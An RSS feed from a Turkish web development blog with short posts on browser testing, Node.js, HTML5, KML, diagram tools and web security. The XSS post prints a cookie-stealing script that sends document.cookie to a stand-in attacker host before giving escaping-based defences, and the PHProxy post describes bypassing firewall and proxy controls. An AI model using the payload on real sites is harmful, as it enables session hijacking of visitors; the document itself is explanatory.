<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>siyahsapka.org &#187; Web</title>
	<atom:link href="http://www.siyahsapka.org/category/web/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.siyahsapka.org</link>
	<description>Software Development &#38; Research Team</description>
	<lastBuildDate>Sat, 04 Feb 2012 10:41:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Browserling: Interactive Cross-browser Testing in Your Browser</title>
		<link>http://www.siyahsapka.org/2011/03/02/browserling-interactive-cross-browser-testing-in-your-browser/</link>
		<comments>http://www.siyahsapka.org/2011/03/02/browserling-interactive-cross-browser-testing-in-your-browser/#comments</comments>
		<pubDate>Wed, 02 Mar 2011 07:56:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.siyahsapka.org/?p=668</guid>
		<description><![CDATA[Geliştirdiğiniz sayfaların farklı tarayıcılarda nasıl gözüktüğünü bu aracı kullanarak kontrol edebilirsiniz. Internet explorer 5.5, 6, 7, 8, 9 &#8211; Firefox -Chrome -  Opera &#8211; Safari tarayıcılarını destekliyor. http://browserling.com/]]></description>
			<content:encoded><![CDATA[<p>Geliştirdiğiniz sayfaların farklı tarayıcılarda nasıl gözüktüğünü bu aracı kullanarak kontrol edebilirsiniz.<br />
Internet explorer 5.5, 6, 7, 8, 9 &#8211; Firefox -Chrome -  Opera &#8211; Safari tarayıcılarını destekliyor.</p>
<p><a href="http://browserling.com/">http://browserling.com/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.siyahsapka.org/2011/03/02/browserling-interactive-cross-browser-testing-in-your-browser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>nodejs</title>
		<link>http://www.siyahsapka.org/2011/02/10/nodejs/</link>
		<comments>http://www.siyahsapka.org/2011/02/10/nodejs/#comments</comments>
		<pubDate>Thu, 10 Feb 2011 08:17:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.siyahsapka.org/?p=657</guid>
		<description><![CDATA[http://s3.amazonaws.com/four.livejournal/20091117/jsconf.pdf http://www.nodejs.org/ http://code.google.com/p/v8/ Server-side Javascript Built on Google’s V8 Evented, non-blocking I/O. Similar to EventMachine or Twisted. CommonJS module system. 8000 lines of C/C++, 2000 lines of Javascript, 14 contributor]]></description>
			<content:encoded><![CDATA[<p><a href="http://s3.amazonaws.com/four.livejournal/20091117/jsconf.pdf">http://s3.amazonaws.com/four.livejournal/20091117/jsconf.pdf</a></p>
<p><a href="http://www.nodejs.org/">http://www.nodejs.org/</a></p>
<p><a href="http://code.google.com/p/v8/">http://code.google.com/p/v8/</a></p>
<div id="_mcePaste">
<div id="_mcePaste">
<ul>
<li>Server-side Javascript</li>
<li>Built on Google’s V8</li>
<li>Evented, non-blocking I/O. Similar to EventMachine or Twisted.</li>
<li>CommonJS module system.</li>
<li>8000 lines of C/C++, 2000 lines of Javascript, 14 contributor</li>
</ul>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.siyahsapka.org/2011/02/10/nodejs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTML 5 Demos and Examples</title>
		<link>http://www.siyahsapka.org/2011/02/10/html-5-demos-and-examples/</link>
		<comments>http://www.siyahsapka.org/2011/02/10/html-5-demos-and-examples/#comments</comments>
		<pubDate>Thu, 10 Feb 2011 07:34:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.siyahsapka.org/?p=652</guid>
		<description><![CDATA[http://html5demos.com/ http://introducinghtml5.com/ html5 mutlaka duymuşsunuzdur, kullanımı ile ilgili yukarıdaki bağlantılar ilginizi çekecektir.]]></description>
			<content:encoded><![CDATA[<p><a href="http://html5demos.com/">http://html5demos.com/</a></p>
<p><a href="http://introducinghtml5.com/">http://introducinghtml5.com/</a></p>
<p>html5 mutlaka duymuşsunuzdur, kullanımı ile ilgili yukarıdaki bağlantılar ilginizi çekecektir.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.siyahsapka.org/2011/02/10/html-5-demos-and-examples/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web 2.0 design elements</title>
		<link>http://www.siyahsapka.org/2010/12/15/web-2-0-design-elements/</link>
		<comments>http://www.siyahsapka.org/2010/12/15/web-2-0-design-elements/#comments</comments>
		<pubDate>Wed, 15 Dec 2010 16:02:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.knyksl.com/?p=528</guid>
		<description><![CDATA[http://www.web20donkey.com web .20 templates, banners, icons, fonts]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.web20donkey.com">http://www.web20donkey.com</a></p>
<p>web .20 templates, banners, icons, fonts</p>
]]></content:encoded>
			<wfw:commentRss>http://www.siyahsapka.org/2010/12/15/web-2-0-design-elements/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHProxy /web tunnel</title>
		<link>http://www.siyahsapka.org/2010/12/01/phproxy-web-based-proxy-script/</link>
		<comments>http://www.siyahsapka.org/2010/12/01/phproxy-web-based-proxy-script/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 11:27:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.knyksl.com/?p=507</guid>
		<description><![CDATA[Kurulumunu gerçekleştirdiğiniz host üzerinden surf yapmanızı sağlar. Sıkı denetimin yapıldığı iç ağdaki kontroller (firewall, transparent proxy control), SSL destekli bir host üzerine  PHProxy kurulumu yapılarak, Encrypted trafik ile bypass edilebilir. http://phpr0xi.sourceforge.net/ Demo: http://phproxy.goyap.net/]]></description>
			<content:encoded><![CDATA[<p>Kurulumunu gerçekleştirdiğiniz host üzerinden surf yapmanızı sağlar.</p>
<p><img class="alignnone" title=" " src="http://securehostingdirectory.com/images/firewall.gif" alt="" width="184" height="184" /></p>
<p>Sıkı denetimin yapıldığı iç ağdaki kontroller (firewall, transparent  proxy control), SSL destekli bir host üzerine  PHProxy kurulumu  yapılarak, Encrypted trafik ile bypass edilebilir.</p>
<p><a href="http://phpr0xi.sourceforge.net/">http://phpr0xi.sourceforge.net/</a></p>
<p>Demo: <a href="http://phproxy.goyap.net/">http://phproxy.goyap.net/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.siyahsapka.org/2010/12/01/phproxy-web-based-proxy-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KML nedir?</title>
		<link>http://www.siyahsapka.org/2010/11/17/kml-nedir/</link>
		<comments>http://www.siyahsapka.org/2010/11/17/kml-nedir/#comments</comments>
		<pubDate>Wed, 17 Nov 2010 10:27:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Geographic Information Systems]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.knyksl.com/?p=489</guid>
		<description><![CDATA[Kml OpenGIS (http://en.wikipedia.org/wiki/Opengis) tarafından standartları belirlenen temelde XML yapısı üzerine inşa edilmiş, veri standardıdır. Veri barındırmak dışında uygulamalara özel çağrılar yapmak için ve stil tanımları için sahip olduğu etiketler kullanılır. Google maps api, openlayers veya google earth api kullanarak geliştireceğiniz harita uygulamaları üzerinde standartlarla çalışmak istiyorsanız KML kullanabilirsiniz. Oluşturduğunuz KML dosyalarını google earth masaüstü sürümünü [...]]]></description>
			<content:encoded><![CDATA[<p>Kml OpenGIS (<a href="http://en.wikipedia.org/wiki/Opengis">http://en.wikipedia.org/wiki/Opengis</a>) tarafından standartları belirlenen temelde XML yapısı üzerine inşa edilmiş, veri standardıdır. Veri barındırmak dışında uygulamalara özel çağrılar yapmak için ve stil tanımları için sahip olduğu etiketler kullanılır.</p>
<p><img class="alignnone" title=" " src="http://code.google.com/intl/tr-TR/apis/kml/documentation/Images/campus2.gif" alt="" width="398" height="293" /></p>
<p>Google maps api, openlayers veya google earth api kullanarak geliştireceğiniz harita uygulamaları üzerinde standartlarla çalışmak istiyorsanız KML kullanabilirsiniz. Oluşturduğunuz KML dosyalarını google earth masaüstü sürümünü kullanarak da görüntüleyebilirsiniz. Google earth masaüstü sürümü kullanarak oluşturduğunuz katmanı kopyalayıp, herhangi bir metin editörüne yapıştırırsanız earth api üzerinde oluşturulan tüm katmanların aslında KML üzerine inşa edildiğini görebilirsiniz.</p>
<p><img class="alignnone" title=" " src="http://secviz.org/files/images/ip2kml2.preview_0.gif" alt="" width="900" height="624" /></p>
<p>KML öğrenmek için code.google.com altında oluşturulan: <a href="http://code.google.com/intl/tr-TR/apis/kml/documentation/">http://code.google.com/intl/tr-TR/apis/kml/documentation/</a> adresini ziyaret edebilirsiniz. Google standart KML tanımları üzerine Gx: ile başlayan etikeler eklemiştir. Bu etiketler google uygulamalarına özel olarak kullanılabiliyor. Örneğin Gx:track etiketini kullanarak earth api üzerinde çizdirdiğiniz yolu takip eden bir araç uygulamasını kolaylıkla geliştirebilirsiniz.</p>
<p>Farklı mapping API &#8216;lerinin sunmuş olduğu farklı sınıf ve methodları öğrenmeye çalışmaktansa, sadece KML standardını çok iyi öğrenerek uygulamalarımızı farklı API &#8216;lerle kolayca entegre çalışır hale getirebiliriz.</p>
<p>Aşağıda basit bir KML örneği bulunuyor.</p>
<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;kml xmlns="http://www.opengis.net/kml/2.2"&gt;
  &lt;Placemark&gt;
    &lt;name&gt;Simple placemark&lt;/name&gt;
    &lt;description&gt;Attached to the ground. Intelligently places itself
       at the height of the underlying terrain.&lt;/description&gt;
    &lt;Point&gt;
      &lt;coordinates&gt;-122.0822035425683,37.42228990140251,0&lt;/coordinates&gt;
    &lt;/Point&gt;
  &lt;/Placemark&gt;
&lt;/kml&gt;</pre>
<p>Örnekteki kodu metin düzenleme editörüne yapıştırıp, test.kml olarak kaydediniz. Google earth programı ile kml dosyasını açıp sonucu görebilirsiniz.</p>
<p>Dökümanı zaman buldukça örneklerle genişleteceğim,<br />
17/11/2010, İzmir</p>
]]></content:encoded>
			<wfw:commentRss>http://www.siyahsapka.org/2010/11/17/kml-nedir/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dia open source çizim programı</title>
		<link>http://www.siyahsapka.org/2010/09/29/dia-open-source-cizim-programi/</link>
		<comments>http://www.siyahsapka.org/2010/09/29/dia-open-source-cizim-programi/#comments</comments>
		<pubDate>Wed, 29 Sep 2010 07:00:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.knyksl.com/?p=437</guid>
		<description><![CDATA[Microsoft visio alternatifi diagram çizimleriniz için kullanabileceğiniz ücretsiz bir alternatif&#8230; http://live.gnome.org/Dia/Screenshots]]></description>
			<content:encoded><![CDATA[<p>Microsoft visio alternatifi diagram çizimleriniz için kullanabileceğiniz ücretsiz bir alternatif&#8230;</p>
<p><a href="http://live.gnome.org/Dia/Screenshots">http://live.gnome.org/Dia/Screenshots</a></p>
<p><img class="alignnone" title=" " src="http://live.gnome.org/Dia/Screenshots?action=AttachFile&amp;do=get&amp;target=diagram.png" alt="" width="730" height="724" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.siyahsapka.org/2010/09/29/dia-open-source-cizim-programi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XSS cross site scripting</title>
		<link>http://www.siyahsapka.org/2010/09/21/xss-cross-site-scripting/</link>
		<comments>http://www.siyahsapka.org/2010/09/21/xss-cross-site-scripting/#comments</comments>
		<pubDate>Tue, 21 Sep 2010 08:46:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.knyksl.com/?p=432</guid>
		<description><![CDATA[Web uygulamalarında kullanıcıdan gelen ve filtrelenmeden yazdırılan girdiler sömürüye açıktır. Geliştiriciye özel veya ziyaretçilerin görebileceği sayfalara bindirilen javascript kodları sayesinde ziyaretçilere ait document.cookie arkasında saklanan sessionid bilgileri ele geçirilebilir. &#60;script&#62;document.location = &#8216;http://evil.example.org/steal_cookies.php?cookies=&#8217; + document.cookie;&#60;/script&#62; Örnek ataklar; http://ha.ckers.org/xss.html Örnek güvenli kullanımlar &#60;?php print ‘&#60;input type=”text” id=”var1” name=”var1” value=”’.htmlspecialchars($datarow[“col_name”]).’”&#62; ’; ?&#62; &#60;?php print ‘&#60;textarea name=”var2”&#62;’.htmlspecialchars($datarow[“col_name”]).’”&#60;/textarea&#62; ’; ?&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>Web uygulamalarında kullanıcıdan gelen ve filtrelenmeden yazdırılan girdiler sömürüye açıktır. Geliştiriciye özel veya ziyaretçilerin görebileceği sayfalara bindirilen javascript kodları sayesinde ziyaretçilere ait document.cookie arkasında saklanan sessionid bilgileri ele geçirilebilir.</p>
<p>&lt;script&gt;document.location = &#8216;http://evil.example.org/steal_cookies.php?cookies=&#8217; + document.cookie;&lt;/script&gt;</p>
<p><strong>Örnek ataklar;</strong></p>
<p><a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html</a></p>
<p><strong><br />
Örnek güvenli kullanımlar</strong></p>
<p>&lt;?php print ‘&lt;input type=”text” id=”var1” name=”var1” value=”’.htmlspecialchars($datarow[“col_name”]).’”&gt; ’; ?&gt;</p>
<p>&lt;?php print ‘&lt;textarea name=”var2”&gt;’.htmlspecialchars($datarow[“col_name”]).’”&lt;/textarea&gt; ’; ?&gt;</p>
<p><a href="http://tr.wikipedia.org/wiki/Cross_site_scripting">http://tr.wikipedia.org/wiki/Cross_site_scripting</a></p>
<p><a href="http://phpsec.org/projects/guide/2.html">http://phpsec.org/projects/guide/2.html</a></p>
<p><strong> </strong></p>
<p><strong>Aşağıdaki açıklamalar phpsec.org’dan alınmıştır.</strong></p>
<p>What can you do? XSS is actually very easy to defend against. Where things get difficult is when you want to allow some HTML or client-side scripts to be provided by external sources (such as other users) and ultimately displayed, but even these situations aren&#8217;t terribly difficult to handle. The following best practices can mitigate the risk of XSS:</p>
<ul>
<li>Filter all external data.</li>
<li>As mentioned earlier, data filtering is the most important practice you can adopt. By validating all external data as it enters and exits your application, you will mitigate a majority of XSS concerns.</li>
<li>Use existing functions</li>
<li>Let PHP help with your filtering logic. Functions like <strong>htmlspecialchars (), htmlentities(), strip_tags(), and utf8_decode()</strong> can be useful. Try to avoid reproducing something that a PHP function already does. Not only is the PHP function much faster, but it is also more tested and less likely to contain errors that yield vulnerabilities.</li>
<li>Use a whitelist approach.</li>
<li>Assume data is invalid until it can be proven valid. This involves verifying the length and also ensuring that only valid characters are allowed. For example, if the user is supplying a last name, you might begin by only allowing alphabetic characters and spaces. Err on the side of caution. While the names O&#8217;Reilly and Berners-Lee will be considered invalid, this is easily fixed by adding two more characters to the whitelist. It is better to deny valid data than to accept malicious data.</li>
<li>Use a strict naming convention.</li>
<li>As mentioned earlier, a naming convention can help developers easily distinguish between filtered and unfiltered data. It is important to make things as easy and clear for developers as possible. A lack of clarity yields confusion, and this breeds vulnerabilities.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.siyahsapka.org/2010/09/21/xss-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>google maps api js code example</title>
		<link>http://www.siyahsapka.org/2010/09/21/google-maps-api-js-code-example/</link>
		<comments>http://www.siyahsapka.org/2010/09/21/google-maps-api-js-code-example/#comments</comments>
		<pubDate>Tue, 21 Sep 2010 06:49:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.knyksl.com/?p=427</guid>
		<description><![CDATA[google style complex and minimized js code http://maps.gstatic.com/intl/tr_ALL/mapfiles/277b/maps2.api/main.js]]></description>
			<content:encoded><![CDATA[<p>google style complex and minimized js code</p>
<p><a href="http://maps.gstatic.com/intl/tr_ALL/mapfiles/277b/maps2.api/main.js">http://maps.gstatic.com/intl/tr_ALL/mapfiles/277b/maps2.api/main.js</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.siyahsapka.org/2010/09/21/google-maps-api-js-code-example/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSL destekli google yayında</title>
		<link>http://www.siyahsapka.org/2010/07/16/ssl-destekli-google-yayinda/</link>
		<comments>http://www.siyahsapka.org/2010/07/16/ssl-destekli-google-yayinda/#comments</comments>
		<pubDate>Fri, 16 Jul 2010 06:34:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.knyksl.com/?p=363</guid>
		<description><![CDATA[Filtrelenmiş taramalardan ve google aramaları için getirilen kısıtlamalardan şifreli (encrypted) paketler sayesinde sayesinde kurtuluyorsunuz. https://encrypted.google.com/]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" title=" " src="https://encrypted.google.com/images/logos/ssl_logo_lg.gif" alt="" width="276" height="110" /></p>
<p>Filtrelenmiş taramalardan ve google aramaları için getirilen kısıtlamalardan şifreli (encrypted) paketler sayesinde sayesinde kurtuluyorsunuz.</p>
<p><a href="https://encrypted.google.com/">https://encrypted.google.com/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.siyahsapka.org/2010/07/16/ssl-destekli-google-yayinda/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

